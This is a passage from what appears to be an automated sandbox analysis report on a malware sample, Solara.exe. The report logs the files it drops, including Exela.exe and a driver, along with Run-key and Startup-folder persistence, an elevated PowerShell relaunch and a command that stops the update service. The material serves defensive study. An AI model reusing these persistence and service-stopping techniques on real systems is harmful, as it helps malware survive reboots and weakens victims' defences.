Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Section loaded: vcruntime140.dll
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Section loaded: libffi-7.dll
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Section loaded: sqlite3.dll
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Section loaded: libcrypto-1_1.dll
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Section loaded: libssl-1_1.dll
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Section loaded: sbiedll.dll
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\wusa.exe	Section loaded: dpx.dll
Source: C:\Windows\System32\wusa.exe	Section loaded: wtsapi32.dll
Source: C:\Windows\System32\wusa.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\wusa.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wusa.exe	Section loaded: uxtheme.dll

Source: C:\Users\user\Desktop\Solara.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{5E5F29CE-E0A8-49D3-AF32-7A7BDC173478}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\Solara.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: Solara.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: Solara.exe

Static PE information: Virtual size of .text is bigger than: 0x100000

Source: Solara.exe

Static file information: File size 14390272 > 1048576

Source: Solara.exe

Static PE information: Raw size of .text is bigger than: 0x100000 < 0xd76a00

Source: Solara.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: compiler: cl /Zi /Fdossl_static.pdb /Gs0 /GF /Gy /MD /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -DOPENSSL_CPUID_OBJ -DOPENSSL_IA32_SSE2 -DOPENSSL_BN_ASM_MONT -DOPENSSL_BN_ASM_MONT5 -DOPENSSL_BN_ASM_GF2m -DSHA1_ASM -DSHA256_ASM -DSHA512_ASM -DKECCAK1600_A source: Exela.exe
Source:	Binary string: compiler: cl /Zi /Fdossl_static.pdb /MT /Zl /Gs0 /GF /Gy /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -D"OPENSSL_BUILDING_OPENSSL" -D"OPENSSL_SYS_WIN32" -D"WIN32_LEAN_AND_MEAN" -D"UNICODE" -D"_UNICODE" -D"_CRT_SECURE_NO_DEPRECATE" -D"_WINSOCK_DEPRECATED_N source: Exela.exe
Source:	Binary string: D:\_w\1\b\libcrypto-1_1.pdb source: Exela.exe

Data Obfuscation

Suspicious powershell command line found

Source: C:\Users\user\AppData\Local\Temp\Solara.exe

Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Start-Process "C:\Users\user\AppData\Local\Temp\Solara.exe" -Verb runAs

Source: VCRUNTIME140.dll.76.dr

Static PE information: 0x8E79CD85 [Sat Sep 30 01:19:01 2045 UTC]

Source: C:\Users\user\AppData\Local\Temp\Exela.exe

Code function: 77_2_00007FFB084A3230 EntryPoint,LoadLibraryA,GetProcAddress,VirtualProtect,VirtualProtect,VirtualProtect,

77_2_00007FFB084A3230

Source: Solara.exe.1.dr	Static PE information: section name: .00cfg
Source: rdqanwpudvuj.exe.7.dr	Static PE information: section name: .00cfg
Source: VCRUNTIME140.dll.76.dr	Static PE information: section name: _RDATA
Source: libffi-7.dll.76.dr	Static PE information: section name: UPX2
Source: _rust.pyd.76.dr	Static PE information: section name: UPX2

Source: C:\Users\user\Desktop\Solara.exe	Code function: 1_2_00007FFAAC3400BD pushad ; iretd	1_2_00007FFAAC3400C1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_00007FFAAC22D2A5 pushad ; iretd	3_2_00007FFAAC22D2A6
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_00007FFAAC412316 push 8B485F93h; iretd	3_2_00007FFAAC41231B
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_00007FFAAC23D2A5 pushad ; iretd	8_2_00007FFAAC23D2A6
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_00007FFAAC35BC9D push E85B15D5h; ret	8_2_00007FFAAC35BCF9
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_00007FFAAC422316 push 8B485F92h; iretd	8_2_00007FFAAC42231B
Source: C:\Windows\System32\conhost.exe	Code function: 64_2_0000000140001394 push qword ptr [0000000140009004h]; ret	64_2_0000000140001403
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Code function: 77_2_00007FFB08036EB6 push r10; retf	77_2_00007FFB08036EB9
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Code function: 77_2_00007FFB08036E9B push rsi; ret	77_2_00007FFB08036E9C
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Code function: 77_2_00007FFB080391A3 push rdi; iretd	77_2_00007FFB080391A5
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Code function: 77_2_00007FFB0803A4A9 push rdx; ret	77_2_00007FFB0803A500
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Code function: 77_2_00007FFB080385A7 push r12; ret	77_2_00007FFB080385E3
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Code function: 77_2_00007FFB08036CCC push r8; ret	77_2_00007FFB08036CD9
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Code function: 77_2_00007FFB08036ED0 push r12; ret	77_2_00007FFB08036EEE
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Code function: 77_2_00007FFB08036CF6 push r12; ret	77_2_00007FFB08036CF8
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Code function: 77_2_00007FFB0803A2E5 push rsp; retf	77_2_00007FFB0803A2E6
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Code function: 77_2_00007FFB080392E4 push r10; retf	77_2_00007FFB08039350
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Code function: 77_2_00007FFB08036CEA push rdx; ret	77_2_00007FFB08036CF1
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Code function: 77_2_00007FFB080377EA push rsi; ret	77_2_00007FFB08037821
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Code function: 77_2_00007FFB08038EFE push r12; ret	77_2_00007FFB08038F25
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Code function: 77_2_00007FFB08036DFB push rsp; ret	77_2_00007FFB08036E03
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Code function: 77_2_00007FFB08039C02 push rsp; retf	77_2_00007FFB08039C03
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Code function: 77_2_00007FFB08036F32 push r12; ret	77_2_00007FFB08036F4A
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Code function: 77_2_00007FFB08036C21 push r10; ret	77_2_00007FFB08036C23
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Code function: 77_2_00007FFB08036F54 push r8; ret	77_2_00007FFB08036F5C
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Code function: 77_2_00007FFB08038F53 push r12; iretd	77_2_00007FFB08038F6A
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Code function: 77_2_00007FFB08036E44 push rdi; iretd	77_2_00007FFB08036E46
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Code function: 77_2_00007FFB0803855C push rbp; retf	77_2_00007FFB08038575
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Code function: 77_2_00007FFB08038E66 push rbp; iretq	77_2_00007FFB08038E67
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Code function: 77_2_00007FFB0803A164 push rsp; ret	77_2_00007FFB0803A165
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Code function: 77_2_00007FFB08036F8D push r10; ret	77_2_00007FFB08036FA0

Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1

Persistence and Installation Behavior

Sample is not signed and drops a device driver

Source: C:\ProgramData\hoyktorfcbbz\rdqanwpudvuj.exe

File created: C:\Windows\TEMP\ypynqohyxqjk.sys

Source: C:\Users\user\Desktop\Solara.exe	File created: C:\Users\user\AppData\Local\Temp\Exela.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI70882\_socket.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI70882\cryptography\hazmat\bindings\_rust.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\Solara.exe	File created: C:\Users\user\AppData\Local\Temp\Solara.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	File created: C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe	Jump to dropped file
Source: C:\ProgramData\hoyktorfcbbz\rdqanwpudvuj.exe	File created: C:\Windows\Temp\ypynqohyxqjk.sys	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI70882\_multiprocessing.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI70882\_lzma.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI70882\python310.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI70882\aiohttp\_websocket\mask.cp310-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI70882\VCRUNTIME140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI70882\_uuid.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI70882\_sqlite3.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI70882\aiohttp\_http_parser.cp310-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI70882\pyexpat.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI70882\yarl\_quoting_c.cp310-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI70882\_decimal.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI70882\libffi-7.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI70882\_asyncio.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI70882\python3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI70882\_queue.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI70882\_cffi_backend.cp310-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	File created: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\Exela.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI70882\frozenlist\_frozenlist.cp310-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI70882\select.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI70882\_ssl.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI70882\unicodedata.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI70882\libssl-1_1.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI70882\aiohttp\_websocket\reader_c.cp310-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI70882\_bz2.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI70882\_overlapped.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI70882\sqlite3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI70882\libcrypto-1_1.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI70882\propcache\_helpers_c.cp310-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI70882\_hashlib.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	File created: C:\ProgramData\hoyktorfcbbz\rdqanwpudvuj.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI70882\_ctypes.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI70882\aiohttp\_http_writer.cp310-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI70882\multidict\_multidict.cp310-win_amd64.pyd	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\Exela.exe	File created: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\Exela.exe			Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	File created: C:\ProgramData\hoyktorfcbbz\rdqanwpudvuj.exe			Jump to dropped file

Source: C:\ProgramData\hoyktorfcbbz\rdqanwpudvuj.exe

File created: C:\Windows\Temp\ypynqohyxqjk.sys

Jump to dropped file

Boot Survival

Creates multiple autostart registry keys

Source: C:\Users\user\Desktop\Solara.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Exela			Jump to behavior
Source: C:\Users\user\Desktop\Solara.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Solara			Jump to behavior

Drops PE files to the startup folder

Source: C:\Users\user\AppData\Local\Temp\Exela.exe

File created: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\Exela.exe

Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\Exela.exe

File created: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\Exela.exe

Source: C:\Users\user\AppData\Local\Temp\Exela.exe

File created: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\Exela.exe

Source: C:\Users\user\Desktop\Solara.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Solara	Jump to behavior
Source: C:\Users\user\Desktop\Solara.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Solara	Jump to behavior
Source: C:\Users\user\Desktop\Solara.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Exela	Jump to behavior
Source: C:\Users\user\Desktop\Solara.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Exela	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\Solara.exe

Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop UsoSvc

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1

Source: C:\Users\user\AppData\Local\Temp\Exela.exe

Code function: 76_2_00007FF75AE95820 GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,